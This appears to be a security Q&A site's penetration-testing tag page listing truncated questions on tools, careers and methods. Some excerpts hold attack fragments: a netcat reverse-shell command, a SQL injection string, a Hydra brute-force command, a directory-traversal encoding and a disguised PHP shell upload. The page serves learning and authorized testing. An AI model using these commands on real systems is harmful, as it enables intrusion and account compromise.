An attempt to penetrate a system's security in an effort to evaluate the protections in place.
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Becoming a security consultant/pen tester? [on hold]
Apologies if this is not the right place or right type of question, but have been having a hard time finding answers. I'm potentially interested in shifting career paths, and am looking into becoming ...
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File upload vulnerability
I am trying to pentest a webapp challenge.
Is the following control code vulnerable to file upload? I would like to upload a php shell...
I am able to upload shell.php.jpg file but I receive the ...
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How can I hide IIS SMTP version number? [migrated]
If I type the following command and connect to my production server (Windows 2008):
telnet myserver 25
I see the following result:
220 myserver Microsoft ESMTP Mail Service, Version: 7.0.xxx ...
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Impersonating Law Enforcement
Obviously impersonating a law enforcement officer on an engagement is illegal but badguys don't care about the law. If a company wanted to allow impersonating LE and have it in clear writing in the ...
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How to start career as Penetration Tester? [duplicate]
I'm currently studying BTEC Diploma in IT LVL3, and so far have basic command of C#, C++, and am going to learn Java basics soon, as we start a new class unit. I also plan on going to the university. ...
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Automatic exploit searches
How to automatically search and download exploits which matches for example with kernel release ?
Is there for example a public REST web service which provide data in XML or JSON format to a client ...
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22 views
Techniques for enumerating enabled apache modules
A common issue noted by security testers is that the Apache web server is reporting a version in headers which is older than the latest available one.
This usually leads to CVE listings detailing the ...
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Security standard for web-based Tele-Radiology software
I am preparing a test plan for the security penetration testing of a software solution that manages patient information (HIPAA compliance) and allow the user to access to it from the web. Does anyone ...
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The overlapping fragment attack using Scapy
How to use Scapy to overwrite a part of the TCP header information of the first fragment, which contained data that was allowed to pass through the firewall, with malicious data in subsequent ...
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Trying to reproduce a file upload compromise on Joomla
After telling my workmates and boss that we had a very critical lack of security controls, finally we got compromised!
They had a Joomla 1.5 which was exploited using a file upload vulnerability. WSO ...
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Deliberately-Vulnerable webapp for security education [duplicate]
A year or so ago I was playing around with an apache webapp I found that was designed for web exploitation practice. It was simple to use, I just downloaded the file, unzipped it, and placed it in the ...
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Hydra gives wrong passwords
I've been trying to use hydra (educational way) but with no success. The site method is http-post but performed by ajax (should it be a problem? I think not). After execute the command I got an output ...
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Problems with l0phtcrack
I recently wrote a website for my company and have been asked to Pen test it as well as the server. Have run SQL map and no vulnerabilities there, however I want to check if my hash and things are ...
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85 views
Major differences between Kali and SecurityOnion
Curious about the major differences between Kali Linux and SecurityOnion. Do you think it would be easy or useful to replicate what has been done with SecurityOnion on Kali? Why is there such a ...
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106 views
Where is the Line? [closed]
A comment posted on one of my questions the other day raised a question in my head. I know that many site admins appreciate users reporting bugs and security holes, and as a user I appreciate people ...
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2answers
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API Security Testing Methodologies
I have been encountering more and more clients needing their API (usually REST) endpoints tested for vulnerabilities and wanted to reach out to see if anyone has some recommendations beyond what I ...
2
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2answers
72 views
CentOS for security testing?
I am a QA Engineer, but have been tasked with creating a security testing platform. I have many years with Backtrack/Kali and my primary OS are Arch and Ubuntu. The Systems guys here gave me a CentOS ...
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Injected Images
I want to learn all about that. How can we inject code into an image? Is the code must be php? Or is javascript or HTML works too? How I find documentation about this article?
I'm a newbie about ...
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261 views
Are userid and password needed in order to pentest a website?
We are a company that has many web applications developed in ASP.NET. Our Internet service provider (Telefonica) wants to test our web sites looking for vulnerabilities. For that, they are asking us ...
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2answers
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Is sqlmap tracable?
The question is simple. For example, we access a database of any website. And looked up for datas. So, is the website owner can see me? If he/she can see, how can i protect?
[These are for security ...
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How can we get the second id for sqlmap [closed]
I'm trying to find some vulnerable points in my website. My website like, www.example.com/index.php?menu_id=1002&news_id=5. When i trying to find these points with sql map, it tries for menu id. ...
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1answer
276 views
Why does Directory traversal attack %C0%AF work?
Introduction: I am trying to learn the basics of Directory Traversal.
Question: While trying to understand the 2-Byte Unicode conversion of characters, I came across this_SANS ARTICLE that explains ...
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2answers
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Builder vs. Breaker - Do developers make good pen testers & vice versa
Do developers necessarily make good penetration testers & vice versa?
The reason I ask is that I find I have much more of a knack for figuring out how an existing piece of software works and can ...
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How to enable a http post form penetration test?
I don't get the correct results and I'm not sure what I'm doing wrong:
$ ./hydra -l admin -x 3:9:a http://localhost http-post-form "/admin/login:j_username=^USER^&j_password=^PASS^:failed" -s ...
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Where does Active Directory store user hashes?
During a penetration test for a client, having an infrastructure with multiple (5) Active Directory Servers (Win Serv 2008 R2)... I found a nice exploit to drop a system shell in one of the servers, ...
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Penetration testing reported ZERO vulnerabilities. Does this mean my web app is secure?
I've spent many hours on whitebox testing to make sure my code was safe. From a theoretical standpoint, the code SHOULD be safe. I then used several widely known testing tools (including one that ...
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4answers
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What are good resources to do hands-on practice on network penetration testing? [duplicate]
Can anyone provide a good list of resources to learn network penetration testing? I am specifically looking for those having hands on exercises (kind of virtual labs/ISOs) which are free. I know ...
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Is exploit researching different from penetration testing
I'm confused by some terminology - reverse engineering seems to me to be pretty similar to exploit researching. I mean if you can reverse one program probably you will be able to find a vulnerability, ...
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Missing Secure Attribute in Encrypted Session (SSL) Cookie Recheck
I tested a web application with a commercial tool (IBM AppScan) for penetration test. I found a bug which is related to Missing Secure Attribute in Encrypted Session (SSL) Cookie.
The web ...
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2answers
356 views
Regarding SQL Injection at Back End?
I have logged into SQL Server 2008 Database and executed following query:
select * from USER_Main_INFO_Name where userid ='' or 'x'='x'
After executing the query Database has given total user list.
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1answer
87 views
How can I succesfully pentest site with two factor authentication? [closed]
I want to use a commercial, automated tool but it cannot login successfully because the website requires a two factor authentication process using SMS. For testing, the SMS message is sent to another ...
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3answers
410 views
Regarding SQL Inject me Firefox add-on?
Using SQL Inject Me Firefox add-on,I have selected the check-boxes then click on Execute button of SQL Inject Me tool.
After getting result, it has displayed following responses
Server Status Code: ...
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Is scanning via source ports still relevant/advised?
Does it still make sense to scan using a source port with Nmap when doing host or service discovery?
This would have made sense back in the day, but with statefull firewalls being prevalent, where ...
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345 views
Nessus No host data is available for this scan error
I encountered an error in Nessus result.
Error:
No host data is available for this scan.
I want to scan ip 192.16x.x.x at Nessus.I scan this ip with nmap.Only 2 tcp port is open in this ip ...
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What is best method for retest blind sql vulnerability
I tested web site application with commercial automated tool.There are some blind sql injection.I want to retest this results .Is there any good method for test blind sql injection with tool or ...
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153 views
Import nmap scan results into OpenVAS
I have recently been introduced to OpenVAS for scanning our network at work. I am familiar with nmap, and I am happy with it's performance when used stand-alone from the cli, through iptraf I can see ...
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3answers
196 views
How to retrieve the admin's password of a webapp?
I'm doing a pentesting example on a web app and I have dumped all the database.
I have a table with the users in plaintext and the passwords hashed.
I have to find the admin's password (I know that ...
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How do arbitrary payloads execute on the remote machine?
I understand executing something like a reverse TCP bind via shell relies on resources being available on the victim machine... and in the case of running a, shall we say, Ruby script from the command ...
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Verifying NLA support on Remote Desktop
What is the best way to verify if an MSRDP server has NLA enabled or not?
My understand is that if enabled, it will not show a graphical screen when trying to connect, but ask for credentials first.
...
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1answer
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Pentest — handling multiple reverse shells
I'm running a pentest and im expecting reverse shells from multiple shells connecting back as :-
nc <my-ip> <my-port> -e /bin/bash
However, I'm trying to figure out the best way to ...
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392 views
Force a specific SSL cipher
Is there a tool or browser addon that will allow you to connect to a HTTPS website using a specific SSL cipher, and view the output?
This would be useful when doing a vulnerability analysis and ...
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Using timeouts to automatically detect blind sql injection exploits
I'm working on a penetration testing tool, and I have error-based sql injection pretty much covered, but I was wondering, is it possible to use timeouts, along with built in sql commands to detect an ...
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What is a pen tester?
I asked two pen testers what exactly it is that they do.
One of them has told me that all he ever does is try to find exploits in the software in order to gain access to internal servers and nothing ...
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1answer
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Hydra gives wrong answers
Problem: Hydra keeps giving me incorrect passwords every time.
I'm using brute-force via Hydra to guess the correct password on a certain website.
First of all I used BurpSuite to intercept the page ...
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1answer
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Pentesting Cleanup
I've recently discovered a backdoor shell that was created via file injection on a public facing website. After much digging, I found the creation date of this file to be around the same time ...
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2answers
122 views
Determing live hosts past a restrictive firewall with nmap
Sometimes when I am doing an external security assesment, I run into hosts that have the following restrictions/configuration:
All ICMP traffic is blocked
An IDS or some device returns all ports as ...
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0answers
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How do I convert from this weird John/Asleap format to lc (for HashCat)?
I'm trying to setup a system for pen-testing. I'm using the FreeRadius-WPE patch to collect Challenges/Requests from people who connect to my spoofed AP instead of the actual network. Here is the ...
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271 views
Self-teach pentesting/CEH skills ethically
I am a Software Engineer currently and have done quite a bit of systems work as well. I love the idea of Penetration Testing and would love to work towards becoming a pentester/Certified Ethical ...
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backtrack or kali linux ??? Which is best for a beginner pen tester ? [closed]
I am using backtrack right now but i also wish to switch to kali linux if its more interactive. Because i am just a beginner pen tester. I tried with both bt4 and bt5, but novice in kali linux.
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Disabled Unnecessary HTTP Methods
I'am doing a web based application and what I did is to disable some of the hTTP methods are not necessary for the website specifically: OPTIONS, HEAD and TRACE.
I put this on the httpd.conf of my ...
